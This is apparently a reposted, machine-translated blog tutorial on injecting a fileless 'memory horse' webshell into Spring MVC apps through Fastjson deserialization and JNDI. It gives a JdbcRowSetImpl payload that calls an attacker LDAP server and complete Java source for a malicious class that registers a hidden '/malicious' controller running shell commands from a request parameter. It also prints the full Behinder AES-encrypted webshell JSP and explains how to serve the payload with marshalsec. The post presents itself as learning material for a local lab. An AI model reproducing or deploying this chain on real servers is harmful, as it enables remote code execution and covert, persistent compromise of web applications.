Using Fastjson to inject Spring memory horse, it's so beautiful ~!

Keywords: Java

This article is for reference only.

1 Foundation

In fact, there are many ways to inject java memory horse. During my study, I started to study and write a memory horse for spring mvc applications.

Generally speaking, the implementation of java Memory horse injection without file landing usually takes advantage of the deserialization vulnerability, so I wrote a spring mvc back end and directly gave a fastjson deserialization page. In the hypothetical attack, I used jndi to make the web end load malicious classes and inject them into the controller.

All work is on the shoulders of giants, and the reference articles are listed at the end.

1.1 fastjson deserialization and JNDI

There are many analysis articles on the specific principle of fastjson vulnerability. Here, fastjson version 1.24 is used, and poc is very simple

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.x.x:1389/Exploit","autoCommit":true}

When the web side uses fastjson to deserialize the above json, it will be instructed by the @ type annotation to create an object of com.sun.rowset.JdbcRowSetImpl class through reflection. Based on the fastjson mechanism, the web side will automatically call the set method inside the object, and finally trigger the specific set method in the JdbcRowSetImpl class to access the server specified by dataSourceName, And download the class file specified by the execution server. The details are not expanded in more detail here.

1.2 inject controller into spring mvc

After learning the memory horse of listener, filter and servlet, I thought of taking a look at the spring related memory horse, but I didn't find the controller memory horse that directly gives the source code, so I learned and implemented it (spring version 4.2.6.RELEASE).

First, standing on the shoulders of giants, you can know that after the spring mvc project runs, you can still add controllers dynamically. The common controller is written as follows

Use the @ RequestMapping annotation to indicate the url and request method. After compiling and deploying, spring will register the corresponding controller according to this annotation. The core steps of dynamic injection controller are as follows

public class InjectToController{
    public InjectToController(){
    // 1. Use spring's internal method to obtain the context
    WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
    // 2. Obtain the instance of RequestMappingHandlerMapping from the context
    RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
    // 3. Obtain the Method object in the custom controller through reflection
    Method method2 = InjectToController.class.getMethod("test");
    // 4. Define the URL address to access the controller
    PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
    // 5. Define HTTP methods (GET/POST) that allow access to the controller
    RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
    // 6. Dynamically register the controller in memory
    RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
    InjectToController injectToController = new InjectToController("aaa");
    mappingHandlerMapping.registerMapping(info, injectToController, method2);
    }
    public void test() {
        xxx
    }
}
  • The context in step 1 can be understood as various environment information and resources in the current thread when the web side processes the request
  • The mappingHandlerMapping object obtained in step 2 is used to register the controller
  • The reflection in step 3 is to obtain the Method object test, so that when the controller is dynamically registered, it will be informed that the Method will be used to process the request after receiving the given url path, and the InjectToController class is our malicious class
  • The url object defined in step 4 is to specify the injection url, which is our memory path
  • Step 5 is to inform the injected url of the allowed request method
  • The information filled in the RequestMappingInfo in step 6 is similar to the information in the @ RequestMapping annotation, that is, url, allowed request method, etc. This is the step to actually register the controller
  • InjectToController is our malicious class, which defines the test method, which executes commands. Of course, it can also be replaced with the webshell core code of ice scorpion and Godzilla to use these two tools. The complete code for InjectToController can be found in the following sections

1.3 obtain request and response

The common jsp sentence webshell code is as follows

java.lang.Runtime.getRuntime().exec(request.getParameters("cmd"));

Since the request resource is automatically obtained when the jsp file is executed, in a word, the Trojan does not need to consider how to obtain the request object. However, in the process of injecting controller, the compilation of malicious java classes is completed by the attacker. The web side directly executes the compiled class file. Obviously, it is impossible to make the parameters of the test method (InjectToController) bring their own request in the way of annotation as in the above picture, so stand on the shoulders of the giant again https://www.jianshu.com/p/89b... , get the request and response objects through spring's internal methods

HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

If the spring mvc project is deployed under tomcat, you can also use the method of obtaining the request set for tomcat, for example, from ThreadLocal, Mbean and Thread.getCurrentThread (which has been given in the following references)

1.4 prevent adding controller repeatedly (not required)

After debugging, it is found that there is a mappingRegistry member object in the mappingHandlerMapping obtained above, and the urlLookup attribute under the object saves all registered url paths. After further analysis of mappingHandlerMapping, it is found that the above objects and attributes are private, and the mappingRegistry is not created in mappingHandlerMapping, Instead, it comes from the base class AbstractHandlerMethodMapping.

Therefore, after reviewing the source code of AbstractHandlerMethodMapping, it is found that mappingregistry can be obtained through its getMappingRegistry method, and urlLookup is the private property of its internal class mappingregistry, which can be obtained through reflection.

The code block to get urlLookup by reflection and determine whether the given url is registered is as follows

// Gets the abstractHandlerMethodMapping object so that reflection calls its getMappingRegistry method
AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
// Reflection calls the getMappingRegistry method
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
Object  mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
// Get the urlLookup property of reflection
Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
field.setAccessible(true);
Map urlLookup = (Map) field.get(mappingRegistry);
// Determine whether the path we want to inject already exists
Iterator urlIterator = urlLookup.keySet().iterator();
List<String> urls = new ArrayList();
while (urlIterator.hasNext()){
    String urlPath = (String) urlIterator.next();
    if ("/malicious".equals(urlPath)){
        System.out.println("url Already exists");
        return;
    }
}

2 experiment

2.1 build a spring mvc test environment

Here, a maven+spring mvc+tomcat test environment is made with idea, which is convenient to change the versions of spring, fastjson and tomcat at any time. This Web application has two functions:

  • /home/postjson, you can enter json and POST it to / home/readjson
  • /home/readjson, use fastjson to parse json and trigger the deserialized rce

Recommend a basic Spring Boot tutorial and practical example:
https://github.com/javastacks...

2.2 malicious class source code

The code to be executed by the server through JNDI injection is as follows

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Map;

public class InjectToController {
    // First constructor
    public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 1. Obtain the instance bean of RequestMappingHandlerMapping from the current context
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        // Optional steps: determine whether the url exists
        AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
        Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
        method.setAccessible(true);
        Object  mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
        Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
        field.setAccessible(true);
        Map urlLookup = (Map) field.get(mappingRegistry);
        Iterator urlIterator = urlLookup.keySet().iterator();
        List<String> urls = new ArrayList();
        while (urlIterator.hasNext()){
            String urlPath = (String) urlIterator.next();
            if ("/malicious".equals(urlPath)){
                System.out.println("url Already exists");
                return;
            }
        }
        // Optional steps: determine whether the url exists
        // 2. Obtain the test Method object in the custom controller through reflection
        Method method2 = InjectToController.class.getMethod("test");
        // 3. Define the URL address to access the controller
        PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
        // 4. Define HTTP methods (GET/POST) that allow access to the controller
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 5. Dynamically register the controller in memory
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        // The object used to process the request is created and the "aaa" parameter is added to trigger the second constructor to avoid infinite loop
        InjectToController injectToController = new InjectToController("aaa");
        mappingHandlerMapping.registerMapping(info, injectToController, method2);
    }
    // Second constructor
    public InjectToController(String aaa) {}
    // Processing method specified by controller
    public void test() throws  IOException{
        // Get request and response objects
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        // Get cmd parameters and execute the command
        java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
}
  • Since the compiled class file is automatically downloaded and executed when fastjson is deserialized, the steps of registering the controller should be written in the constructor
  • The constructor automatically triggered when deserializing is the first constructor because it does not take parameters
  • Because the registerMapping method needs to give an object and its internal processing method when registering the controller, and the web side only downloads the class InjectToController. It is really troublesome for JNDI to obtain a malicious class again, so InjectToController is used. InjectToController = new InjectToController ("AAA");, This will enter the second constructor instead of the first constructor infinite loop.

2.3 testing

Start the spring mvc project, access the / project / malicious path, and return 404

Use marshalsec to open an ldap service, specify that the path corresponding to the reference / Exploit is 192.168.x.x:8090/#InjectToController, and then open a web file server in python

Compile InjectToController.java, put the compiled class file into the web file service root directory opened by python, access / project / home/postjson, and submit the payload

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.x.x:1389/Exploit","autoCommit":true}

After the payload is submitted, it will be deserialized by fastjson. In this process, it will trigger the connect function in JdbcRowSetImpl, initiate an LDAP request according to the given dataSourceName, obtain the address of the malicious class from the open given LDAP server (Port 1389), and then load and execute the malicious class (Port 8090). You can see that the payload attack is successful

Visit the uri / malicious to make sure

2.4 inject kitchen knife webshell

Just find a stable jsp kitchen knife horse and make some modifications:

  • Put the function definition of kitchen knife horse in the malicious class
  • Add the judgment and execution part of the kitchen knife horse into the injected controller code (in the test method above)
  • Note the out.print(sb.toString()) at the end of the jsp kitchen knife horse; Change to response.getWriter().write(sb.toString());response.getWriter().flush();

2.5 injection of ice scorpion code

2.5.1 ice scorpion server -- shell.jsp

First, let's take a look at the shell.jsp file of ice scorpion. For ease of reading, some line breaks have been added

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
class U extends ClassLoader{
    U(ClassLoader c){super(c);}  //Constructor

    public Class g(byte []b){
        return super.defineClass(b,0,b.length);  // Call the defineClass function of the parent class
    }
}
%>

<%
if (request.getMethod().equals("POST"))
    {
        String k="e45e329feb5d925b";
        session.putValue("u",k);
        Cipher c=Cipher.getInstance("AES");
        c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
        new U(ClassLoader.class.getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
    }
%>

As you can see, the core functions of this jsp are three points

  • In order to use defineClass conveniently, the class U is created to inherit ClassLoader;
  • Decrypt AES encrypted data using java's own package
  • Use defineClass to load the byte code after AES decryption, obtain a malicious class, use newInstance to create an instance of this class, and call the equals method
2.5.2 pageContext

In shell.jsp, special attention should be paid to the pageContext object, which is a self-contained object in the running process of JSP file. You can obtain three important objects containing page information, request/response/session. The corresponding pageContext has getRequest/getResponse/getSession methods. I'm not good at learning. I haven't found a way to get pageContext from spring and tomcat for the time being.

However, according to the tips given by the author of ice scorpion, ice scorpion no longer relies on pageContext after 3.0 bata7. See github issue

It is confirmed from the source code that the object passed in the equal function has a request/response/session object

Therefore, in the injected controller code, you can replace pageContext with a Map and manually add key and value. The previous malicious class source code has given how to obtain request/response/session

2.5.3 inherit ClassLoader and call defineClass

In 2.5.1, it is mentioned that it is necessary to inherit ClassLoader and call the defineClass of the parent class. Of course, you can also use reflection, but this is more convenient. Slightly modify the malicious class, inherit classloader, define a new constructor, add g function and add ice scorpion server code

Special attention should be paid to the ClassLoader.getSystemClassLoader() in the red box. If a class inherited from ClassLoader is given arbitrarily, an error java.lang.linkageerror may appear: attempted duplicate class definition for name. This is because you need to use getsystemclassloader () to get the delegate parent that needs to be added when creating the ClassLoader.

2.5.4 ice scorpion

reference:

https://www.anquanke.com/post...\
https://www.jianshu.com/p/89b...\
https://github.com/mbechler/m...\
https://lalajun.github.io/201... Deserialization - fastjson/\
https://github.com/rebeyond/B...\
https://blog.csdn.net/cumudi0...\
https://github.com/rebeyond/B...\

Author: bitterz\
Address: https://www.cnblogs.com/bitterz/

Recent hot article recommendations:

1.1000 + Java interview questions and answers (2021 latest version)

2.Stop playing if/ else on the full screen. Try the strategy mode. It's really fragrant!!

3.what the fuck! What is the new syntax of xx ≠ null in Java?

4.Spring Boot 2.5 heavy release, dark mode is too explosive!

5.Java development manual (Songshan version) is the latest release. Download it quickly!

Feel good, don't forget to like + forward!

Posted by patryn on Wed, 17 Nov 2021 23:42:31 -0800